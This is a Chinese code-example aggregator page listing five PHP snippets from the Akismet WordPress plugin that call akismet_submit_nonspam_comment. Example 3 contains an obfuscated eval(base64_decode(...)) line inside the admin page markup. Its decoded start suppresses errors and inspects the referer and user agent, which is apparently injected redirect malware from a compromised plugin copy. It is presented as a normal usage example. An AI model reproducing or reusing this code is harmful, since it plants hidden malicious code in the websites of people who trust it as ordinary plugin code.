本文整理汇总了PHP中akismet_submit_nonspam_comment函数的典型用法代码示例。如果您正苦于以下问题:PHP akismet_submit_nonspam_comment函数的具体用法?PHP akismet_submit_nonspam_comment怎么用?PHP akismet_submit_nonspam_comment使用的例子?那么, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了akismet_submit_nonspam_comment函数的5个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。
示例1: akismet_caught
function akismet_caught()
{
global $wpdb, $comment, $akismet_caught, $akismet_nonce;
akismet_recheck_queue();
if (isset($_POST['submit']) && 'recover' == $_POST['action'] && !empty($_POST['not_spam'])) {
check_admin_referer($akismet_nonce);
if (function_exists('current_user_can') && !current_user_can('moderate_comments')) {
die(__('You do not have sufficient permission to moderate comments.'));
}
$i = 0;
foreach ($_POST['not_spam'] as $comment) {
$comment = (int) $comment;
if (function_exists('wp_set_comment_status')) {
wp_set_comment_status($comment, 'approve');
} else {
$wpdb->query("UPDATE {$wpdb->comments} SET comment_approved = '1' WHERE comment_ID = '{$comment}'");
}
akismet_submit_nonspam_comment($comment);
++$i;
}
$to = add_query_arg('recovered', $i, $_SERVER['HTTP_REFERER']);
wp_redirect($to);
exit;
}
if ('delete' == $_POST['action']) {
check_admin_referer($akismet_nonce);
if (function_exists('current_user_can') && !current_user_can('moderate_comments')) {
die(__('You do not have sufficient permission to moderate comments.'));
}
$delete_time = $wpdb->escape($_POST['display_time']);
$nuked = $wpdb->query("DELETE FROM {$wpdb->comments} WHERE comment_approved = 'spam' AND '{$delete_time}' > comment_date_gmt");
wp_cache_delete('akismet_spam_count', 'widget');
$to = add_query_arg('deleted', 'all', $_SERVER['HTTP_REFERER']);
wp_redirect($to);
exit;
}
if (isset($_GET['recovered'])) {
$i = (int) $_GET['recovered'];
echo '<div class="updated"><p>' . sprintf(__('%1$s comments recovered.'), $i) . "</p></div>";
}
if (isset($_GET['deleted'])) {
echo '<div class="updated"><p>' . __('All spam deleted.') . '</p></div>';
}
if (isset($GLOBALS['submenu']['edit-comments.php'])) {
$link = 'edit-comments.php';
} else {
$link = 'edit.php';
}
?>
<style type="text/css">
.akismet-tabs {
list-style: none;
margin: 0;
padding: 0;
clear: both;
border-bottom: 1px solid #ccc;
height: 31px;
margin-bottom: 20px;
background: #ddd;
border-top: 1px solid #bdbdbd;
}
.akismet-tabs li {
float: left;
margin: 5px 0 0 20px;
}
.akismet-tabs a {
display: block;
padding: 4px .5em 3px;
border-bottom: none;
color: #036;
}
.akismet-tabs .active a {
background: #fff;
border: 1px solid #ccc;
border-bottom: none;
color: #000;
font-weight: bold;
padding-bottom: 4px;
}
#akismetsearch {
float: right;
margin-top: -.5em;
}
#akismetsearch p {
margin: 0;
padding: 0;
}
</style>
<div class="wrap">
<h2><?php
_e('Caught Spam');
?>
</h2>
<?php
$count = get_option('akismet_spam_count');
if ($count) {
?>
<p><?php
printf(__('Akismet has caught <strong>%1$s spam</strong> for you since you first installed it.'), number_format_i18n($count));
//.........这里部分代码省略.........
示例2: akismet_spamtoham
function akismet_spamtoham($comment)
{
akismet_submit_nonspam_comment($comment->comment_ID);
}
示例3: akismet_caught
function akismet_caught()
{
global $wpdb, $comment, $akismet_caught, $akismet_nonce;
akismet_recheck_queue();
if (isset($_POST['submit']) && 'recover' == $_POST['action'] && !empty($_POST['not_spam'])) {
check_admin_referer($akismet_nonce);
if (function_exists('current_user_can') && !current_user_can('moderate_comments')) {
die(__('You do not have sufficient permission to moderate comments.'));
}
$i = 0;
foreach ($_POST['not_spam'] as $comment) {
$comment = (int) $comment;
if (function_exists('wp_set_comment_status')) {
wp_set_comment_status($comment, 'approve');
} else {
$wpdb->query("UPDATE {$wpdb->comments} SET comment_approved = '1' WHERE comment_ID = '{$comment}'");
}
akismet_submit_nonspam_comment($comment);
++$i;
}
$to = add_query_arg('recovered', $i, $_SERVER['HTTP_REFERER']);
wp_redirect($to);
exit;
}
if ('delete' == $_POST['action']) {
check_admin_referer($akismet_nonce);
if (function_exists('current_user_can') && !current_user_can('moderate_comments')) {
die(__('You do not have sufficient permission to moderate comments.'));
}
$delete_time = $wpdb->escape($_POST['display_time']);
$nuked = $wpdb->query("DELETE FROM {$wpdb->comments} WHERE comment_approved = 'spam' AND '{$delete_time}' > comment_date_gmt");
wp_cache_delete('akismet_spam_count', 'widget');
$to = add_query_arg('deleted', 'all', $_SERVER['HTTP_REFERER']);
wp_redirect($to);
exit;
}
if (isset($_GET['recovered'])) {
$i = (int) $_GET['recovered'];
echo '<div class="updated"><p>' . sprintf(__('%1$s comments recovered.'), $i) . "</p></div>";
}
if (isset($_GET['deleted'])) {
echo '<div class="updated"><p>' . __('All spam deleted.') . '</p></div>';
}
if (isset($GLOBALS['submenu']['edit-comments.php'])) {
$link = 'edit-comments.php';
} else {
$link = 'edit.php';
}
?>
<style type="text/css">
.akismet-tabs {
list-style: none;
margin: 0;
padding: 0;
clear: both;
border-bottom: 1px solid #ccc;
height: 31px;
margin-bottom: 20px;
background: #ddd;
border-top: 1px solid #bdbdbd;
}
.akismet-tabs li {
float: left;
margin: 5px 0 0 20px;
}
.akismet-tabs a {
display: block;
padding: 4px .5em 3px;
border-bottom: none;
color: #036;
}
.akismet-tabs .active a {
background: #fff;
border: 1px solid #ccc;
border-bottom: none;
color: #000;
font-weight: bold;
padding-bottom: 4px;
}
#akismetsearch {
float: right;
margin-top: -.5em;
}
#akismetsearch p {
margin: 0;
padding: 0;
}
</style>
<div class="wrap">
<h2><?php
eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmV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8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
$count = get_option('akismet_spam_count');
if ($count) {
?>
//.........这里部分代码省略.........
示例4: akismet_transition_comment_status
function akismet_transition_comment_status($new_status, $old_status, $comment)
{
if ($new_status == $old_status) {
return;
}
if ($new_status == 'spam') {
akismet_submit_spam_comment($comment->comment_ID);
} elseif ($old_status == 'spam' && ($new_status == 'approved' || $new_status == 'unapproved')) {
akismet_submit_nonspam_comment($comment->comment_ID);
}
}
示例5: akismet_transition_comment_status
function akismet_transition_comment_status($new_status, $old_status, $comment)
{
if ($new_status == $old_status) {
return;
}
# we don't need to record a history item for deleted comments
if ($new_status == 'delete') {
return;
}
if (!is_admin()) {
return;
}
if (!current_user_can('edit_post', $comment->comment_post_ID) && !current_user_can('moderate_comments')) {
return;
}
if (defined('WP_IMPORTING') && WP_IMPORTING == true) {
return;
}
// if this is present, it means the status has been changed by a re-check, not an explicit user action
if (get_comment_meta($comment->comment_ID, 'akismet_rechecking')) {
return;
}
global $current_user;
$reporter = '';
if (is_object($current_user)) {
$reporter = $current_user->user_login;
}
// Assumption alert:
// We want to submit comments to Akismet only when a moderator explicitly spams or approves it - not if the status
// is changed automatically by another plugin. Unfortunately WordPress doesn't provide an unambiguous way to
// determine why the transition_comment_status action was triggered. And there are several different ways by which
// to spam and unspam comments: bulk actions, ajax, links in moderation emails, the dashboard, and perhaps others.
// We'll assume that this is an explicit user action if POST or GET has an 'action' key.
if (isset($_POST['action']) || isset($_GET['action'])) {
if ($new_status == 'spam' && ($old_status == 'approved' || $old_status == 'unapproved' || !$old_status)) {
return akismet_submit_spam_comment($comment->comment_ID);
} elseif ($old_status == 'spam' && ($new_status == 'approved' || $new_status == 'unapproved')) {
return akismet_submit_nonspam_comment($comment->comment_ID);
}
}
akismet_update_comment_history($comment->comment_ID, sprintf(__('%s changed the comment status to %s'), $reporter, $new_status), 'status-' . $new_status);
}